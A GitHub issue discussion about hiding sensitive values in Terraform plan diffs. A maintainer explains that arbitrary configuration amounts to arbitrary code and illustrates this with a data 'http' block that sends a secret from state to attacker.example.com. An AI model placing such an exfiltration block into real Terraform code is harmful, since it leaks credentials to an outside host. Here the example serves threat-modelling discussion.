Open jgiannuzzi opened 4 years ago
Hi @jgiannuzzi! Thanks for submitting this enhancement request.
I want to focus on your given use-case rather than the proposed solution for this comment.
Generally-speaking, Terraform cannot protect against the security-related scenario you've described: a Terraform configuration is essentially arbitrary code, and so you must ensure that only trusted people are able to submit arbitrary Terraform configuration to be run in an environment with access to sensitive data. That includes running in a Terraform Cloud workspace, if that workspace has access to sensitive data such as credentials.
You should assume that anyone who is able to run Terraform with arbitrary configuration they provide has, from a threat modelling standpoint, full access to the state, to any environment variables available to the process, and anything else an arbitrary program running in that context would be able to access. It's only safe to give a less-trusted person access to queue a plan if they are constrained to only do so with pre-existing configuration created by trusted individuals.
For example, consider a configuration change like this:
data "http" "leak_my_secrets" {
url = "https://attacker.example.com/collect?secret=${urlencode(null_resource.leak_my_secrets.triggers.secret)}"
}
Even if you suppressed the plan output details in this case, Terraform would still send the secret to the attacker-controlled server at attacker.example.com
, and would do so during the plan phase if that secret value were already present in the state.
Although I used the http
provider above to illustrate the problem in a straightforward way, almost all Terraform providers can make outgoing network requests that could be used as an unwitting transport for sending secret data elsewhere. For example, the AWS provider can be configured with a custom endpoint that would then cause any associated data resources to make requests to that custom endpoint, including whatever data the attacker included in the data resource configuration.
I don't wish to imply with the above that there are no other use-cases for hiding the contents of blocks in the diff, which we can certainly discuss further here, but I just wanted to be explicit (mainly for the benefit of future readers) that no Terraform behavior change that affects only the UI output can make it safe to execute arbitrary configurations submitted by untrusted people. A means to allow executing arbitrary Terraform code safely would be a rather more significant change in Terraform's execution model, and not something we're intending to address for the foreseeable future.
Thanks for your very interesting comment, @apparentlymart!
Indeed, there are more measures needed to mitigate such attacks (like limiting arbitrary network calls, preventing configuration version uploads, using only protected branches on the VCS, etc.).
Another — slightly similar — use-case for hiding the contents of blocks in the diff is to prevent inadvertently showing the sensitive values, which can happen in many cases, even with trusted operators that would rather not see it logged in plain text.
I can imagine at least 2 other solutions for that use-case:
sensitive_triggers
to null_resource
like in https://github.com/hashicorp/terraform-provider-null/issues/38, which is trivial to implement) — this would require users to think about each resource they depend on and manually track their sensitivity, and hope their providers have been updated!What are your thoughts on those 3 solutions, and more specifically on the option for showing only the resource block headers in the diff?
The sensitivity propagation I described in the comment you linked is, I think, the ideal answer. However, that doesn't mean we can't consider other options in the short term, because sensitive value propagation is a significant architecture change that will not come quickly.
The sensitive_triggers
feature in the null provider is an example of such a short-term solution, and has the advantage that it can be made tactically where needed without requiring any Terraform Core changes at all. We must always be more cautious about changes to Terraform Core because poorly-designed Terraform Core decisions can (and often do!) have broad consequences, and so we often prefer to make tactical changes to providers as short-term solutions to problems so as to avoid waiting until there's time to do detailed Terraform Core design work.
I agree that sensitivity propagation is the ideal answer. I am very much willing to help implement it, but I don't want to reinvent anything you might have already thought of. Is there any kind of design that already exists?
With regards to short-term solutions, what are your thoughts on the original proposal in this issue, aka showing only the resource block headers in the diff? I think it's a low impact change to Terraform Core that could benefit even other use cases, like reducing the verbosity of the diff so users can have a better overview.
Would you be open to such PR? In that case, would you prefer for it be implemented as a command-line flag or an environment variable only?
Hi @jgiannuzzi,
I think the main thing I'd worry about with the proposal you showed is that it's a very specific take on a broader problem of "the plan output doesn't suit everyone", and so in order to attack that we'd want to first do some research to see what other use-cases there are for customizing the plan output and try to solve all of them together with as few additional options as possible. It's not practical to have a separate option for every single alternative, so we need to be selective about which options are available and exactly what they do.
For example, some other requests in similar vein have been things like hiding the contents of nested blocks that don't contain any changed arguments (while still showing the top-level arguments and blocks that are changing), showing only things that are changing and hiding everything else, and a variant on your proposal here except also including minimal identifying information about the object (its remote id, name, or tags) so that someone reading the plan can actually understand what the objects in the plan are. I'm sure this is not exhaustive of all of the possibilities, but this is already four different variants and I doubt we'd want to implement and maintain all four of them.
So with that said, I'd ask for some patience here to do some research about the problem prior to doing any implementation. We want to find the best possible answer to address as many related problems as possible so that the outcome is easier to understand and easier to maintain, which requires searching for similar use-cases and seeing how they fit in to a bigger picture, but that takes time and so we prefer to let an enhancement issue like this (where there are lots of different ways to meet the use-case as stated) to sit for a while to allow opportunity for discovering other related use-cases and potentially design solutions that solve several of them at once.
Current Terraform Version
Use-cases
When building our infrastructure with Terraform, we rely on certain sensitive values and would like to protect them from ourselves. An operator should be able to create and change Terraform code without being able to access those sensitive values.
Attempted Solutions
When using a VCS enabled workspace with custom workspace permissions in Terraform Cloud, it's possible to allow users to queue plans without being able to access sensitive values in the state. Great!
However, when sensitive values from a resource are referenced in another resource, their sensitivity is not propagated (see #8076, #16114, #16554, or #23325). This means that they could be displayed as part of the diff output of
plan
orapply
. If a malicious operator that can run a speculative plan modifies their code to create a new resource referencing a sensitive value, they will be able to see it in the diff output.Proposal
A proposed solution is to add the possibility to display only a summary of the diff during a
plan
orapply
. Instead of displaying the details for each resource, it would only display the actions to be taken for each impacted resource. This option should be set by a workspace admin, possibly through a dedicated environment variable (i.e.TF_DIFF=summary
), or theTF_CLI_ARGS
environment variable if implemented as command line flag.Here is an example of a "normal" plan:
And here is an example of a "diff summary" plan:
If this proposal makes sense, I am happy to create a PR implementing it.
References
8076
16114
16554
23325